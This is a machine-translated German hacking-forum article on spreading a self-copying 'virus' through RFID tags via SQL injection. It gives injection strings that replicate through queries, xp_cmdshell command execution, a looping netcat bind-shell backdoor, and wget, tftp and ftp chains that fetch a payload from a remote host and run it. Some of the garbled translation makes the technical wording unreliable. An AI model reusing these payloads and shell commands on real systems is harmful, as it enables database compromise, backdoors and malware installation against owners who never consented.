This page has been robot translated, sorry for typos if any. Original content here.

Virus beim RFID-Hacking, Struktur.


{Einführung}

Dieser Artikel ist eine Ergänzung zum Thema RFID-Hacking. Die Grundlagen und der Anfang werden im ersten Artikel unter http://forum.antichat.ru/thread123511.html beschrieben. Aus dieser Erkenntnis haben wir gelernt, dass RFID eine Methode zur Identifizierung von Radiofrequenzen (Radio Frequency Identification) ist, mit der Informationen aus der Ferne gespeichert und empfangen werden können, indem Funksignale mit Geräten gesendet werden, die als RFID-Tags bezeichnet werden.

{Über Parasiten}

Die Hauptfunktionen des Virus bei dieser Art von Angriff sind das Selbstkopieren und die Ausführung von beliebigem Code. Für diese Zwecke verwendet der Parasit normalerweise eine Datenbank. Details hängen von der verwendeten Datenbank ab. Grundsätzlich können bei dieser Art von Angriff zwei Klassen von Viren unterschieden werden: Die erste verwendet beliebige Abfragen in der Datenbank, die zweite implementiert alles mit Quines (spezielles Programm).
Der beliebige Code, den der Virus ausführen kann, hängt auch von den Datenbankantwortmechanismen für die SQL-Injection ab.


{SQL Injection}

In Verwaltungssystemen wird normalerweise die Methode zum Anfordern von RFID-Tags aus der Datenbank verwendet, mit der anschließenden Rückgabe von Daten, die wiederum in der richtigen Reihenfolge kopiert werden können. Die Etiketten selbst werden also in Gegenwart bestimmter Faktoren kopiert.

Im Moment können Sie zwei Arten von Viren in Betracht ziehen, das erste ist ein einzelnes Anforderungsprogramm und das zweite ist die Verwendung mehrerer Abfragen.
Die erste Art von Virus benötigt ein Minimum an Platz und kann in ihrer Struktur keine Kampflast tragen. Und es wird nur zur Eingabe bereits geplanter Informationen in die Datenbank verwendet. Im Gegensatz dazu wurde bereits ein Virus erstellt, der mehrere Anforderungen verwendet, um automatische Identifikationssysteme zu infizieren und bösartigen Code oder eine andere Kampflast einzugeben. Die zweite Methode wird am häufigsten verwendet. Für den korrekten Betrieb dieses Virentyps müssen jedoch bestimmte Bedingungen in der Datenbank ordnungsgemäß eingehalten werden, um sicherzustellen, dass die Funktion im GetCurrentQuery-Stil für den Zugriff funktioniert. Dies ist erforderlich, um Fehler zu vermeiden, da Sie mit dieser Fitcha-API einen Kommentar eingeben können. (Ich möchte Sie beruhigen, diese Funktionen sind zunächst standardmäßig in den Systemen enthalten.)

Bestimmte Angriffe können ausgeführt werden, wenn die Datenbank eine Anforderung in einem Tag gestellt hat und die Datenbank mit solchen Inhalten geantwortet hat
UPDATE ContainerContents SET OldContents = '% Inhalt%' WHERE TagID = '% id%'

Hier werden die Inhalte und ID-Variablen anschließend eingefroren

Wenn diese Anfrage fehlerfrei abläuft, kann der Angreifer die Anfrage nach eigenem Ermessen mit unserem bevorzugten Anführungszeichen ('') ändern. Und was kann man machen ??? Dazu wird lediglich eine Kopie von Ihnen in den Bereich "NewContents" eingefügt und andere Systeme auf ähnliche Weise infiziert.

Folgendes brauchen wir:
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) – UPDATE ContainerContents SET OldContents='Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) -- WHERE TagId='123'
Anstatt nur den OldContents-Bereich zu aktualisieren, aktualisiert die Abfrage jetzt auch den NewContents-Bereich. Mit dem SQL-Kommentar (-) werden alle Zeilen in der Datenbank verschoben. Dies eröffnet dem Angreifer neue Möglichkeiten.

Fügen Sie schädlichen Code ein.

In der oben beschriebenen Injektionstechnologie ist es unmöglich, anderen Code als Abfragen an die Datenbank auszuführen. Wenn das Skript jedoch von der Clientseite aktiviert wird, wird der Server automatisch anfällig. Skripte können nach dem Kommentar eingefügt werden, so dass das Datenbanksystem sie ignoriert.
Wenn Sie Code im Exploit aktivieren, müssen Sie nur den dritten SUBSTR-Parameter berücksichtigen, der der Länge des Exploits entsprechen sollte.
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,73) --<script>...</script>
In einer seriöseren Version, die Variablen verwendet und nicht nur einige bestimmte Skripte einfügt, sieht es folgendermaßen aus:
Apples'; UPDATE ContainerContents SET NewContents=NewContents || ''';' || GetCurrentQuery () || ';%payload%; --';%payload% --
Hier muss der Schadcode zweimal ausgearbeitet werden, dh beim ersten Mal wird er selbst in die Datenbank kopiert, beim zweiten Mal wird er selbst ausgeführt.

Derzeit ist die Kommentarfunktion in Oracle (OCI / iSQL * Plus) vorhanden. Sie bietet Funktionen im GetCurrentQuery-Stil mit nachfolgenden Administratorrechten. PostgreSQL, MySQL und SQL Server ermöglichen auch Kommentare und mehrere Injection-Abfragen. Es gibt auch Funktionen im GetCurrentQuery-Stil. Für PostgreSQL und SQL Server wurden jedoch noch keine zuverlässigen Viren erstellt. Alles beschränkte sich nur auf Testentwicklungen.


{Einige Beispiele für die Eingabe von Schadcode}

Die von den Datenbanken bereitgestellten Systemverwaltungsfunktionen können verwendet werden, um Probleme zu verursachen. Microsoft SQL Server bietet beispielsweise eine CLOSE-Funktion, mit der eine Datenbank aus SQL geschlossen werden kann.
Datenbankdaten lesen
UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%' Daten in der folgenden Abfrage können für direkte Abfragen an die Datenbank verwendet werden.
'|| (SELECT ...) ||'
In diesem Fall führen Anführungszeichen eine SQL-Injection durch und erzwingen die Interpretation der Daten als Code. || Der Operator führt eine Sequenzbeziehung durch, wodurch das Ergebnis der FAVORITE-Abfrage dem Bereich in der Datenbank hinzugefügt wird. Ein Sequenzverknüpfungsoperator ist erforderlich, um einen Kommentar, d. H. Unsere Lieblingszitate, zu nitrolysieren.


{Ausführen von Shell-Befehlen über SQL Injection}

Der SQL Server bietet eine xp_cmdshell-Prozedur, mit der böswillige und weniger genaue Befehle ausgeführt werden können.
EXEC Master..xp_cmdshell 'commands';

{Hintertüren im System installieren}

Um ein System aufzubauen, benötigen wir die folgenden Befehle
netcat -lp1234|sh
wo Port 1234 abgehört wird.

Hier besteht jedoch die Gefahr einer etablierten und ordnungsgemäß konfigurierten Firewall oder Brandmaura. Und es gibt eine Lösung, um den Code in einer Endlosschleife auszuführen, sodass er wie ein Dämon funktioniert, mit dem Sie selbst ein erweitertes Backend erstellen können.
screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done {Andere Funktionen}

Es gibt auch nützliche Funktionen, z. B. wget, dh das Herunterladen einer Datei über das Netzwerk und das Speichern der Datei im System.
wget http://ip/myexploit -O /tmp/myexploit; chmod +x /tmp/myexploit; /tmp/myexploit
wget ist normalerweise auf Windows-Systemen nicht verfügbar. In diesem Fall müssen Sie tftp verwenden
tftp -i ip GET myexploit.exe & myexploit
Mit der Echo-Funktion können Sie auch eine Textdatei erstellen, wie im laufenden Betrieb angegeben
echo anonymous & echo BIN & echo GET myexploit.exe & echo quit) > ftp.txt & ftp -s:ftp.txt ip & myexploit {Fazit}

In diesem Artikel wurde der Einstieg in ein anfälliges System mithilfe des RFID-Tag-Programmiertools beschrieben. Natürlich muss ich Sie warnen, dass das gesamte vorgestellte Material nur zur Information dient. Angesichts der Komplexität der Technologieausführung, nämlich der Erstellung des Labels selbst und seiner böswilligen Programmierung, erscheint es mir für einen einfachen Laien sehr schwierig. Deshalb warne ich Menschen, die wissen, aber unter Müßiggang leiden, diese Informationen in der Praxis nicht zu überprüfen.